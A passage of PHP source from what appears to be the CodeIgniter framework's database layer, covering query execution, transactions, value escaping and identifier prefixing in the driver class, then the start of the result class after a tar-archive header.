* * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if (FALSE === ($sql = $this->_version())) { return ($this->db_debug) ? $this->display_error('db_unsupported_function') : FALSE; } $query = $this->query($sql)->row(); return $this->data_cache['version'] = $query->ver; } // -------------------------------------------------------------------- /** * Version number query string * * @return string */ protected function _version() { return 'SELECT VERSION() AS ver'; } // -------------------------------------------------------------------- /** * Execute the query * * Accepts an SQL string as input and returns a result object upon * successful execution of a "read" type query. Returns boolean TRUE * upon successful execution of a "write" type query. Returns boolean * FALSE upon failure, and if the $db_debug variable is set to TRUE * will raise an error. * * @param string $sql * @param array $binds = FALSE An array of binding data * @param bool $return_object = NULL * @return mixed */ public function query($sql, $binds = FALSE, $return_object = NULL) { if ($sql === '') { log_message('error', 'Invalid query: '.$sql); return ($this->db_debug) ? $this->display_error('db_invalid_query') : FALSE; } elseif ( ! is_bool($return_object)) { $return_object = ! $this->is_write_type($sql); } // Verify table prefix and replace if necessary if ($this->dbprefix !== '' && $this->swap_pre !== '' && $this->dbprefix !== $this->swap_pre) { $sql = preg_replace('/(\W)'.$this->swap_pre.'(\S+?)/', '\\1'.$this->dbprefix.'\\2', $sql); } // Compile binds if needed if ($binds !== FALSE) { $sql = $this->compile_binds($sql, $binds); } // Is query caching enabled? If the query is a "read type" // we will load the caching class and return the previously // cached query if it exists if ($this->cache_on === TRUE && $return_object === TRUE && $this->_cache_init()) { $this->load_rdriver(); if (FALSE !== ($cache = $this->CACHE->read($sql))) { return $cache; } } // Save the query for debugging if ($this->save_queries === TRUE) { $this->queries[] = $sql; } // Start the Query Timer $time_start = microtime(TRUE); // Run the Query if (FALSE === ($this->result_id = $this->simple_query($sql))) { if ($this->save_queries === TRUE) { $this->query_times[] = 0; } // This will trigger a rollback if transactions are being used if ($this->_trans_depth !== 0) { $this->_trans_status = FALSE; } // Grab the error now, as we might run some additional queries before displaying the error $error = $this->error(); // Log errors log_message('error', 'Query error: '.$error['message'].' - Invalid query: '.$sql); if ($this->db_debug) { // We call this function in order to roll-back queries // if transactions are enabled. If we don't call this here // the error message will trigger an exit, causing the // transactions to remain in limbo. while ($this->_trans_depth !== 0) { $trans_depth = $this->_trans_depth; $this->trans_complete(); if ($trans_depth === $this->_trans_depth) { log_message('error', 'Database: Failure during an automated transaction commit/rollback!'); break; } } // Display errors return $this->display_error(array('Error Number: '.$error['code'], $error['message'], $sql)); } return FALSE; } // Stop and aggregate the query time results $time_end = microtime(TRUE); $this->benchmark += $time_end - $time_start; if ($this->save_queries === TRUE) { $this->query_times[] = $time_end - $time_start; } // Increment the query counter $this->query_count++; // Will we have a result object instantiated? If not - we'll simply return TRUE if ($return_object !== TRUE) { // If caching is enabled we'll auto-cleanup any existing files related to this particular URI if ($this->cache_on === TRUE && $this->cache_autodel === TRUE && $this->_cache_init()) { $this->CACHE->delete(); } return TRUE; } // Load and instantiate the result driver $driver = $this->load_rdriver(); $RES = new $driver($this); // Is query caching enabled? If so, we'll serialize the // result object and save it to a cache file. if ($this->cache_on === TRUE && $this->_cache_init()) { // We'll create a new instance of the result object // only without the platform specific driver since // we can't use it with cached data (the query result // resource ID won't be any good once we've cached the // result object, so we'll have to compile the data // and save it) $CR = new CI_DB_result($this); $CR->result_object = $RES->result_object(); $CR->result_array = $RES->result_array(); $CR->num_rows = $RES->num_rows(); // Reset these since cached objects can not utilize resource IDs. $CR->conn_id = NULL; $CR->result_id = NULL; $this->CACHE->write($sql, $CR); } return $RES; } // -------------------------------------------------------------------- /** * Load the result drivers * * @return string the name of the result class */ public function load_rdriver() { $driver = 'CI_DB_'.$this->dbdriver.'_result'; if ( ! class_exists($driver, FALSE)) { require_once(BASEPATH.'database/DB_result.php'); require_once(BASEPATH.'database/drivers/'.$this->dbdriver.'/'.$this->dbdriver.'_result.php'); } return $driver; } // -------------------------------------------------------------------- /** * Simple Query * This is a simplified version of the query() function. Internally * we only use it when running transaction commands since they do * not require all the features of the main query() function. * * @param string the sql query * @return mixed */ public function simple_query($sql) { if ( ! $this->conn_id) { if ( ! $this->initialize()) { return FALSE; } } return $this->_execute($sql); } // -------------------------------------------------------------------- /** * Disable Transactions * This permits transactions to be disabled at run-time. * * @return void */ public function trans_off() { $this->trans_enabled = FALSE; } // -------------------------------------------------------------------- /** * Enable/disable Transaction Strict Mode * * When strict mode is enabled, if you are running multiple groups of * transactions, if one group fails all subsequent groups will be * rolled back. * * If strict mode is disabled, each group is treated autonomously, * meaning a failure of one group will not affect any others * * @param bool $mode = TRUE * @return void */ public function trans_strict($mode = TRUE) { $this->trans_strict = is_bool($mode) ? $mode : TRUE; } // -------------------------------------------------------------------- /** * Start Transaction * * @param bool $test_mode = FALSE * @return bool */ public function trans_start($test_mode = FALSE) { if ( ! $this->trans_enabled) { return FALSE; } return $this->trans_begin($test_mode); } // -------------------------------------------------------------------- /** * Complete Transaction * * @return bool */ public function trans_complete() { if ( ! $this->trans_enabled) { return FALSE; } // The query() function will set this flag to FALSE in the event that a query failed if ($this->_trans_status === FALSE OR $this->_trans_failure === TRUE) { $this->trans_rollback(); // If we are NOT running in strict mode, we will reset // the _trans_status flag so that subsequent groups of // transactions will be permitted. if ($this->trans_strict === FALSE) { $this->_trans_status = TRUE; } log_message('debug', 'DB Transaction Failure'); return FALSE; } return $this->trans_commit(); } // -------------------------------------------------------------------- /** * Lets you retrieve the transaction flag to determine if it has failed * * @return bool */ public function trans_status() { return $this->_trans_status; } // -------------------------------------------------------------------- /** * Begin Transaction * * @param bool $test_mode * @return bool */ public function trans_begin($test_mode = FALSE) { if ( ! $this->trans_enabled) { return FALSE; } // When transactions are nested we only begin/commit/rollback the outermost ones elseif ($this->_trans_depth > 0) { $this->_trans_depth++; return TRUE; } // Reset the transaction failure flag. // If the $test_mode flag is set to TRUE transactions will be rolled back // even if the queries produce a successful result. $this->_trans_failure = ($test_mode === TRUE); if ($this->_trans_begin()) { $this->_trans_status = TRUE; $this->_trans_depth++; return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ public function trans_commit() { if ( ! $this->trans_enabled OR $this->_trans_depth === 0) { return FALSE; } // When transactions are nested we only begin/commit/rollback the outermost ones elseif ($this->_trans_depth > 1 OR $this->_trans_commit()) { $this->_trans_depth--; return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ public function trans_rollback() { if ( ! $this->trans_enabled OR $this->_trans_depth === 0) { return FALSE; } // When transactions are nested we only begin/commit/rollback the outermost ones elseif ($this->_trans_depth > 1 OR $this->_trans_rollback()) { $this->_trans_depth--; return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Compile Bindings * * @param string the sql statement * @param array an array of bind data * @return string */ public function compile_binds($sql, $binds) { if (empty($this->bind_marker) OR strpos($sql, $this->bind_marker) === FALSE) { return $sql; } elseif ( ! is_array($binds)) { $binds = array($binds); $bind_count = 1; } else { // Make sure we're using numeric keys $binds = array_values($binds); $bind_count = count($binds); } // We'll need the marker length later $ml = strlen($this->bind_marker); // Make sure not to replace a chunk inside a string that happens to match the bind marker if ($c = preg_match_all("/'[^']*'|\"[^\"]*\"/i", $sql, $matches)) { $c = preg_match_all('/'.preg_quote($this->bind_marker, '/').'/i', str_replace($matches[0], str_replace($this->bind_marker, str_repeat(' ', $ml), $matches[0]), $sql, $c), $matches, PREG_OFFSET_CAPTURE); // Bind values' count must match the count of markers in the query if ($bind_count !== $c) { return $sql; } } elseif (($c = preg_match_all('/'.preg_quote($this->bind_marker, '/').'/i', $sql, $matches, PREG_OFFSET_CAPTURE)) !== $bind_count) { return $sql; } do { $c--; $escaped_value = $this->escape($binds[$c]); if (is_array($escaped_value)) { $escaped_value = '('.implode(',', $escaped_value).')'; } $sql = substr_replace($sql, $escaped_value, $matches[0][$c][1], $ml); } while ($c !== 0); return $sql; } // -------------------------------------------------------------------- /** * Determines if a query is a "write" type. * * @param string An SQL query string * @return bool */ public function is_write_type($sql) { return (bool) preg_match('/^\s*"?(SET|INSERT|UPDATE|DELETE|REPLACE|CREATE|DROP|TRUNCATE|LOAD|COPY|ALTER|RENAME|GRANT|REVOKE|LOCK|UNLOCK|REINDEX|MERGE)\s/i', $sql); } // -------------------------------------------------------------------- /** * Calculate the aggregate query elapsed time * * @param int The number of decimal places * @return string */ public function elapsed_time($decimals = 6) { return number_format($this->benchmark, $decimals); } // -------------------------------------------------------------------- /** * Returns the total number of queries * * @return int */ public function total_queries() { return $this->query_count; } // -------------------------------------------------------------------- /** * Returns the last query that was executed * * @return string */ public function last_query() { return end($this->queries); } // -------------------------------------------------------------------- /** * "Smart" Escape String * * Escapes data based on type * Sets boolean and null types * * @param string * @return mixed */ public function escape($str) { if (is_array($str)) { $str = array_map(array(&$this, 'escape'), $str); return $str; } elseif (is_string($str) OR (is_object($str) && method_exists($str, '__toString'))) { return "'".$this->escape_str($str)."'"; } elseif (is_bool($str)) { return ($str === FALSE) ? 0 : 1; } elseif ($str === NULL) { return 'NULL'; } return $str; } // -------------------------------------------------------------------- /** * Escape String * * @param string|string[] $str Input string * @param bool $like Whether or not the string will be used in a LIKE condition * @return string */ public function escape_str($str, $like = FALSE) { if (is_array($str)) { foreach ($str as $key => $val) { $str[$key] = $this->escape_str($val, $like); } return $str; } $str = $this->_escape_str($str); // escape LIKE condition wildcards if ($like === TRUE) { return str_replace( array($this->_like_escape_chr, '%', '_'), array($this->_like_escape_chr.$this->_like_escape_chr, $this->_like_escape_chr.'%', $this->_like_escape_chr.'_'), $str ); } return $str; } // -------------------------------------------------------------------- /** * Escape LIKE String * * Calls the individual driver for platform * specific escaping for LIKE conditions * * @param string|string[] * @return mixed */ public function escape_like_str($str) { return $this->escape_str($str, TRUE); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return str_replace("'", "''", remove_invisible_characters($str, FALSE)); } // -------------------------------------------------------------------- /** * Primary * * Retrieves the primary key. It assumes that the row in the first * position is the primary key * * @param string $table Table name * @return string */ public function primary($table) { $fields = $this->list_fields($table); return is_array($fields) ? current($fields) : FALSE; } // -------------------------------------------------------------------- /** * "Count All" query * * Generates a platform-specific query string that counts all records in * the specified database * * @param string * @return int */ public function count_all($table = '') { if ($table === '') { return 0; } $query = $this->query($this->_count_string.$this->escape_identifiers('numrows').' FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE)); if ($query->num_rows() === 0) { return 0; } $query = $query->row(); $this->_reset_select(); return (int) $query->numrows; } // -------------------------------------------------------------------- /** * Returns an array of table names * * @param string $constrain_by_prefix = FALSE * @return array */ public function list_tables($constrain_by_prefix = FALSE) { // Is there a cached result? if (isset($this->data_cache['table_names'])) { return $this->data_cache['table_names']; } if (FALSE === ($sql = $this->_list_tables($constrain_by_prefix))) { return ($this->db_debug) ? $this->display_error('db_unsupported_function') : FALSE; } $this->data_cache['table_names'] = array(); $query = $this->query($sql); foreach ($query->result_array() as $row) { // Do we know from which column to get the table name? if ( ! isset($key)) { if (isset($row['table_name'])) { $key = 'table_name'; } elseif (isset($row['TABLE_NAME'])) { $key = 'TABLE_NAME'; } else { /* We have no other choice but to just get the first element's key. * Due to array_shift() accepting its argument by reference, if * E_STRICT is on, this would trigger a warning. So we'll have to * assign it first. */ $key = array_keys($row); $key = array_shift($key); } } $this->data_cache['table_names'][] = $row[$key]; } return $this->data_cache['table_names']; } // -------------------------------------------------------------------- /** * Determine if a particular table exists * * @param string $table_name * @return bool */ public function table_exists($table_name) { return in_array($this->protect_identifiers($table_name, TRUE, FALSE, FALSE), $this->list_tables()); } // -------------------------------------------------------------------- /** * Fetch Field Names * * @param string $table Table name * @return array */ public function list_fields($table) { if (FALSE === ($sql = $this->_list_columns($table))) { return ($this->db_debug) ? $this->display_error('db_unsupported_function') : FALSE; } $query = $this->query($sql); $fields = array(); foreach ($query->result_array() as $row) { // Do we know from where to get the column's name? if ( ! isset($key)) { if (isset($row['column_name'])) { $key = 'column_name'; } elseif (isset($row['COLUMN_NAME'])) { $key = 'COLUMN_NAME'; } else { // We have no other choice but to just get the first element's key. $key = key($row); } } $fields[] = $row[$key]; } return $fields; } // -------------------------------------------------------------------- /** * Determine if a particular field exists * * @param string * @param string * @return bool */ public function field_exists($field_name, $table_name) { return in_array($field_name, $this->list_fields($table_name)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table the table name * @return array */ public function field_data($table) { $query = $this->query($this->_field_data($this->protect_identifiers($table, TRUE, NULL, FALSE))); return ($query) ? $query->field_data() : FALSE; } // -------------------------------------------------------------------- /** * Escape the SQL Identifiers * * This function escapes column and table names * * @param mixed * @return mixed */ public function escape_identifiers($item) { if ($this->_escape_char === '' OR empty($item) OR in_array($item, $this->_reserved_identifiers)) { return $item; } elseif (is_array($item)) { foreach ($item as $key => $value) { $item[$key] = $this->escape_identifiers($value); } return $item; } // Avoid breaking functions and literal values inside queries elseif (ctype_digit($item) OR $item[0] === "'" OR ($this->_escape_char !== '"' && $item[0] === '"') OR strpos($item, '(') !== FALSE) { return $item; } static $preg_ec = array(); if (empty($preg_ec)) { if (is_array($this->_escape_char)) { $preg_ec = array( preg_quote($this->_escape_char[0], '/'), preg_quote($this->_escape_char[1], '/'), $this->_escape_char[0], $this->_escape_char[1] ); } else { $preg_ec[0] = $preg_ec[1] = preg_quote($this->_escape_char, '/'); $preg_ec[2] = $preg_ec[3] = $this->_escape_char; } } foreach ($this->_reserved_identifiers as $id) { if (strpos($item, '.'.$id) !== FALSE) { return preg_replace('/'.$preg_ec[0].'?([^'.$preg_ec[1].'\.]+)'.$preg_ec[1].'?\./i', $preg_ec[2].'$1'.$preg_ec[3].'.', $item); } } return preg_replace('/'.$preg_ec[0].'?([^'.$preg_ec[1].'\.]+)'.$preg_ec[1].'?(\.)?/i', $preg_ec[2].'$1'.$preg_ec[3].'$2', $item); } // -------------------------------------------------------------------- /** * Generate an insert string * * @param string the table upon which the query will be performed * @param array an associative array data of key/values * @return string */ public function insert_string($table, $data) { $fields = $values = array(); foreach ($data as $key => $val) { $fields[] = $this->escape_identifiers($key); $values[] = $this->escape($val); } return $this->_insert($this->protect_identifiers($table, TRUE, NULL, FALSE), $fields, $values); } // -------------------------------------------------------------------- /** * Insert statement * * Generates a platform-specific insert string from the supplied data * * @param string the table name * @param array the insert keys * @param array the insert values * @return string */ protected function _insert($table, $keys, $values) { return 'INSERT INTO '.$table.' ('.implode(', ', $keys).') VALUES ('.implode(', ', $values).')'; } // -------------------------------------------------------------------- /** * Generate an update string * * @param string the table upon which the query will be performed * @param array an associative array data of key/values * @param mixed the "where" statement * @return string */ public function update_string($table, $data, $where) { if (empty($where)) { return FALSE; } $this->where($where); $fields = array(); foreach ($data as $key => $val) { $fields[$this->protect_identifiers($key)] = $this->escape($val); } $sql = $this->_update($this->protect_identifiers($table, TRUE, NULL, FALSE), $fields); $this->_reset_write(); return $sql; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string the table name * @param array the update data * @return string */ protected function _update($table, $values) { foreach ($values as $key => $val) { $valstr[] = $key.' = '.$val; } return 'UPDATE '.$table.' SET '.implode(', ', $valstr) .$this->_compile_wh('qb_where') .$this->_compile_order_by() .($this->qb_limit !== FALSE ? ' LIMIT '.$this->qb_limit : ''); } // -------------------------------------------------------------------- /** * Tests whether the string has an SQL operator * * @param string * @return bool */ protected function _has_operator($str) { return (bool) preg_match('/(<|>|!|=|\sIS NULL|\sIS NOT NULL|\sEXISTS|\sBETWEEN|\sLIKE|\sIN\s*\(|\s)/i', trim($str)); } // -------------------------------------------------------------------- /** * Returns the SQL string operator * * @param string * @return string */ protected function _get_operator($str) { static $_operators; if (empty($_operators)) { $_les = ($this->_like_escape_str !== '') ? '\s+'.preg_quote(trim(sprintf($this->_like_escape_str, $this->_like_escape_chr)), '/') : ''; $_operators = array( '\s*(?:<|>|!)?=\s*', // =, <=, >=, != '\s*<>?\s*', // <, <> '\s*>\s*', // > '\s+IS NULL', // IS NULL '\s+IS NOT NULL', // IS NOT NULL '\s+EXISTS\s*\(.*\)', // EXISTS(sql) '\s+NOT EXISTS\s*\(.*\)', // NOT EXISTS(sql) '\s+BETWEEN\s+', // BETWEEN value AND value '\s+IN\s*\(.*\)', // IN(list) '\s+NOT IN\s*\(.*\)', // NOT IN (list) '\s+LIKE\s+\S.*('.$_les.')?', // LIKE 'expr'[ ESCAPE '%s'] '\s+NOT LIKE\s+\S.*('.$_les.')?' // NOT LIKE 'expr'[ ESCAPE '%s'] ); } return preg_match('/'.implode('|', $_operators).'/i', $str, $match) ? $match[0] : FALSE; } // -------------------------------------------------------------------- /** * Enables a native PHP function to be run, using a platform agnostic wrapper. * * @param string $function Function name * @return mixed */ public function call_function($function) { $driver = ($this->dbdriver === 'postgre') ? 'pg_' : $this->dbdriver.'_'; if (FALSE === strpos($driver, $function)) { $function = $driver.$function; } if ( ! function_exists($function)) { return ($this->db_debug) ? $this->display_error('db_unsupported_function') : FALSE; } return (func_num_args() > 1) ? call_user_func_array($function, array_slice(func_get_args(), 1)) : call_user_func($function); } // -------------------------------------------------------------------- /** * Set Cache Directory Path * * @param string the path to the cache directory * @return void */ public function cache_set_path($path = '') { $this->cachedir = $path; } // -------------------------------------------------------------------- /** * Enable Query Caching * * @return bool cache_on value */ public function cache_on() { return $this->cache_on = TRUE; } // -------------------------------------------------------------------- /** * Disable Query Caching * * @return bool cache_on value */ public function cache_off() { return $this->cache_on = FALSE; } // -------------------------------------------------------------------- /** * Delete the cache files associated with a particular URI * * @param string $segment_one = '' * @param string $segment_two = '' * @return bool */ public function cache_delete($segment_one = '', $segment_two = '') { return $this->_cache_init() ? $this->CACHE->delete($segment_one, $segment_two) : FALSE; } // -------------------------------------------------------------------- /** * Delete All cache files * * @return bool */ public function cache_delete_all() { return $this->_cache_init() ? $this->CACHE->delete_all() : FALSE; } // -------------------------------------------------------------------- /** * Initialize the Cache Class * * @return bool */ protected function _cache_init() { if ( ! class_exists('CI_DB_Cache', FALSE)) { require_once(BASEPATH.'database/DB_cache.php'); } elseif (is_object($this->CACHE)) { return TRUE; } $this->CACHE = new CI_DB_Cache($this); // pass db object to support multiple db connections and returned db objects return TRUE; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ public function close() { if ($this->conn_id) { $this->_close(); $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Close DB Connection * * This method would be overridden by most of the drivers. * * @return void */ protected function _close() { $this->conn_id = FALSE; } // -------------------------------------------------------------------- /** * Display an error message * * @param string the error message * @param string any "swap" values * @param bool whether to localize the message * @return string sends the application/views/errors/error_db.php template */ public function display_error($error = '', $swap = '', $native = FALSE) { $LANG =& load_class('Lang', 'core'); $LANG->load('db'); $heading = $LANG->line('db_error_heading'); if ($native === TRUE) { $message = (array) $error; } else { $message = is_array($error) ? $error : array(str_replace('%s', $swap, $LANG->line($error))); } // Find the most likely culprit of the error by going through // the backtrace until the source file is no longer in the // database folder. $trace = debug_backtrace(); foreach ($trace as $call) { if (isset($call['file'], $call['class'])) { // We'll need this on Windows, as APPPATH and BASEPATH will always use forward slashes if (DIRECTORY_SEPARATOR !== '/') { $call['file'] = str_replace('\\', '/', $call['file']); } if (strpos($call['file'], BASEPATH.'database') === FALSE && strpos($call['class'], 'Loader') === FALSE) { // Found it - use a relative path for safety $message[] = 'Filename: '.str_replace(array(APPPATH, BASEPATH), '', $call['file']); $message[] = 'Line Number: '.$call['line']; break; } } } $error =& load_class('Exceptions', 'core'); echo $error->show_error($heading, $message, 'error_db'); exit(8); // EXIT_DATABASE } // -------------------------------------------------------------------- /** * Protect Identifiers * * This function is used extensively by the Query Builder class, and by * a couple functions in this class. * It takes a column or table name (optionally with an alias) and inserts * the table prefix onto it. Some logic is necessary in order to deal with * column names that include the path. Consider a query like this: * * SELECT hostname.database.table.column AS c FROM hostname.database.table * * Or a query with aliasing: * * SELECT m.member_id, m.member_name FROM members AS m * * Since the column name can include up to four segments (host, DB, table, column) * or also have an alias prefix, we need to do a bit of work to figure this out and * insert the table prefix (if it exists) in the proper position, and escape only * the correct identifiers. * * @param string * @param bool * @param mixed * @param bool * @return string */ public function protect_identifiers($item, $prefix_single = FALSE, $protect_identifiers = NULL, $field_exists = TRUE) { if ( ! is_bool($protect_identifiers)) { $protect_identifiers = $this->_protect_identifiers; } if (is_array($item)) { $escaped_array = array(); foreach ($item as $k => $v) { $escaped_array[$this->protect_identifiers($k)] = $this->protect_identifiers($v, $prefix_single, $protect_identifiers, $field_exists); } return $escaped_array; } // This is basically a bug fix for queries that use MAX, MIN, etc. // If a parenthesis is found we know that we do not need to // escape the data or add a prefix. There's probably a more graceful // way to deal with this, but I'm not thinking of it -- Rick // // Added exception for single quotes as well, we don't want to alter // literal strings. -- Narf if (strcspn($item, "()'") !== strlen($item)) { return $item; } // Convert tabs or multiple spaces into single spaces $item = preg_replace('/\s+/', ' ', trim($item)); // If the item has an alias declaration we remove it and set it aside. // Note: strripos() is used in order to support spaces in table names if ($offset = strripos($item, ' AS ')) { $alias = ($protect_identifiers) ? substr($item, $offset, 4).$this->escape_identifiers(substr($item, $offset + 4)) : substr($item, $offset); $item = substr($item, 0, $offset); } elseif ($offset = strrpos($item, ' ')) { $alias = ($protect_identifiers) ? ' '.$this->escape_identifiers(substr($item, $offset + 1)) : substr($item, $offset); $item = substr($item, 0, $offset); } else { $alias = ''; } // Break the string apart if it contains periods, then insert the table prefix // in the correct location, assuming the period doesn't indicate that we're dealing // with an alias. While we're at it, we will escape the components if (strpos($item, '.') !== FALSE) { $parts = explode('.', $item); // Does the first segment of the exploded item match // one of the aliases previously identified? If so, // we have nothing more to do other than escape the item // // NOTE: The ! empty() condition prevents this method // from breaking when QB isn't enabled. if ( ! empty($this->qb_aliased_tables) && in_array($parts[0], $this->qb_aliased_tables)) { if ($protect_identifiers === TRUE) { foreach ($parts as $key => $val) { if ( ! in_array($val, $this->_reserved_identifiers)) { $parts[$key] = $this->escape_identifiers($val); } } $item = implode('.', $parts); } return $item.$alias; } // Is there a table prefix defined in the config file? If not, no need to do anything if ($this->dbprefix !== '') { // We now add the table prefix based on some logic. // Do we have 4 segments (hostname.database.table.column)? // If so, we add the table prefix to the column name in the 3rd segment. if (isset($parts[3])) { $i = 2; } // Do we have 3 segments (database.table.column)? // If so, we add the table prefix to the column name in 2nd position elseif (isset($parts[2])) { $i = 1; } // Do we have 2 segments (table.column)? // If so, we add the table prefix to the column name in 1st segment else { $i = 0; } // This flag is set when the supplied $item does not contain a field name. // This can happen when this function is being called from a JOIN. if ($field_exists === FALSE) { $i++; } // dbprefix may've already been applied, with or without the identifier escaped $ec = '(?<ec>'.preg_quote(is_array($this->_escape_char) ? $this->_escape_char[0] : $this->_escape_char).')?'; isset($ec[0]) && $ec .= '?'; // Just in case someone has disabled escaping by forcing an empty escape character // Verify table prefix and replace if necessary if ($this->swap_pre !== '' && preg_match('#^'.$ec.preg_quote($this->swap_pre).'#', $parts[$i])) { $parts[$i] = preg_replace('#^'.$ec.preg_quote($this->swap_pre).'(\S+?)#', '\\1'.$this->dbprefix.'\\2', $parts[$i]); } // We only add the table prefix if it does not already exist else { preg_match('#^'.$ec.preg_quote($this->dbprefix).'#', $parts[$i]) OR $parts[$i] = $this->dbprefix.$parts[$i]; } // Put the parts back together $item = implode('.', $parts); } if ($protect_identifiers === TRUE) { $item = $this->escape_identifiers($item); } return $item.$alias; } // Is there a table prefix? If not, no need to insert it if ($this->dbprefix !== '') { // Verify table prefix and replace if necessary if ($this->swap_pre !== '' && strpos($item, $this->swap_pre) === 0) { $item = preg_replace('/^'.$this->swap_pre.'(\S+?)/', $this->dbprefix.'\\1', $item); } // Do we prefix an item with no segments? elseif ($prefix_single === TRUE && strpos($item, $this->dbprefix) !== 0) { $item = $this->dbprefix.$item; } } if ($protect_identifiers === TRUE && ! in_array($item, $this->_reserved_identifiers)) { $item = $this->escape_identifiers($item); } return $item.$alias; } // -------------------------------------------------------------------- /** * Dummy method that allows Query Builder class to be disabled * and keep count_all() working. * * @return void */ protected function _reset_select() { } } DB_result.php 0000644 00000033735 14642767361 0007173 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Database Result Class * * This is the platform-independent result class. * This class will not be called directly. Rather, the adapter * class for the specific database will extend and instantiate it. * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_result { /** * Connection ID * * @var resource|object */ public $conn_id; /** * Result ID * * @var resource|object */ public $result_id; /** * Result Array * * @var array[] */ public $result_array = array(); /** * Result Object * * @var object[] */ public $result_object = array(); /** * Custom Result Object * * @var object[] */ public $custom_result_object = array(); /** * Current Row index * * @var int */ public $current_row = 0; /** * Number of rows * * @var int */ public $num_rows; /** * Row data * * @var array */ public $row_data; // -------------------------------------------------------------------- /** * Constructor * * @param object $driver_object * @return void */ public function __construct(&$driver_object) { $this->conn_id = $driver_object->conn_id; $this->result_id = $driver_object->result_id; } // -------------------------------------------------------------------- /** * Number of rows in the result set * * @return int */ public function num_rows() { if (is_int($this->num_rows)) { return $this->num_rows; } elseif (count($this->result_array) > 0) { return $this->num_rows = count($this->result_array); } elseif (count($this->result_object) > 0) { return $this->num_rows = count($this->result_object); } return $this->num_rows = count($this->result_array()); } // -------------------------------------------------------------------- /** * Query result. Acts as a wrapper function for the following functions. * * @param string $type 'object', 'array' or a custom class name * @return array */ public function result($type = 'object') { if ($type === 'array') { return $this->result_array(); } elseif ($type === 'object') { return $this->result_object(); } return $this->custom_result_object($type); } // -------------------------------------------------------------------- /** * Custom query result. * * @param string $class_name * @return array */ public function custom_result_object($class_name) { if (isset($this->custom_result_object[$class_name])) { return $this->custom_result_object[$class_name]; } elseif ( ! $this->result_id OR $this->num_rows === 0) { return array(); } // Don't fetch the result set again if we already have it $_data = NULL; if (($c = count($this->result_array)) > 0) { $_data = 'result_array'; } elseif (($c = count($this->result_object)) > 0) { $_data = 'result_object'; } if ($_data !== NULL) { for ($i = 0; $i < $c; $i++) { $this->custom_result_object[$class_name][$i] = new $class_name(); foreach ($this->{$_data}[$i] as $key => $value) { $this->custom_result_object[$class_name][$i]->$key = $value; } } return $this->custom_result_object[$class_name]; } is_null($this->row_data) OR $this->data_seek(0); $this->custom_result_object[$class_name] = array(); while ($row = $this->_fetch_object($class_name)) { $this->custom_result_object[$class_name][] = $row; } return $this->custom_result_object[$class_name]; } // -------------------------------------------------------------------- /** * Query result. "object" version. * * @return array */ public function result_object() { if (count($this->result_object) > 0) { return $this->result_object; } // In the event that query caching is on, the result_id variable // will not be a valid resource so we'll simply return an empty // array. if ( ! $this->result_id OR $this->num_rows === 0) { return array(); } if (($c = count($this->result_array)) > 0) { for ($i = 0; $i < $c; $i++) { $this->result_object[$i] = (object) $this->result_array[$i]; } return $this->result_object; } is_null($this->row_data) OR $this->data_seek(0); while ($row = $this->_fetch_object()) { $this->result_object[] = $row; } return $this->result_object; } // -------------------------------------------------------------------- /** * Query result. "array" version. * * @return array */ public function result_array() { if (count($this->result_array) > 0) { return $this->result_array; } // In the event that query caching is on, the result_id variable // will not be a valid resource so we'll simply return an empty // array. if ( ! $this->result_id OR $this->num_rows === 0) { return array(); } if (($c = count($this->result_object)) > 0) { for ($i = 0; $i < $c; $i++) { $this->result_array[$i] = (array) $this->result_object[$i]; } return $this->result_array; } is_null($this->row_data) OR $this->data_seek(0); while ($row = $this->_fetch_assoc()) { $this->result_array[] = $row; } return $this->result_array; } // -------------------------------------------------------------------- /** * Row * * A wrapper method. * * @param mixed $n * @param string $type 'object' or 'array' * @return mixed */ public function row($n = 0, $type = 'object') { if ( ! is_numeric($n)) { // We cache the row data for subsequent uses is_array($this->row_data) OR $this->row_data = $this->row_array(0); // array_key_exists() instead of isset() to allow for NULL values if (empty($this->row_data) OR ! array_key_exists($n, $this->row_data)) { return NULL; } return $this->row_data[$n]; } if ($type === 'object') return $this->row_object($n); elseif ($type === 'array') return $this->row_array($n); return $this->custom_row_object($n, $type); } // -------------------------------------------------------------------- /** * Assigns an item into a particular column slot * * @param mixed $key * @param mixed $value * @return void */ public function set_row($key, $value = NULL) { // We cache the row data for subsequent uses if ( ! is_array($this->row_data)) { $this->row_data = $this->row_array(0); } if (is_array($key)) { foreach ($key as $k => $v) { $this->row_data[$k] = $v; 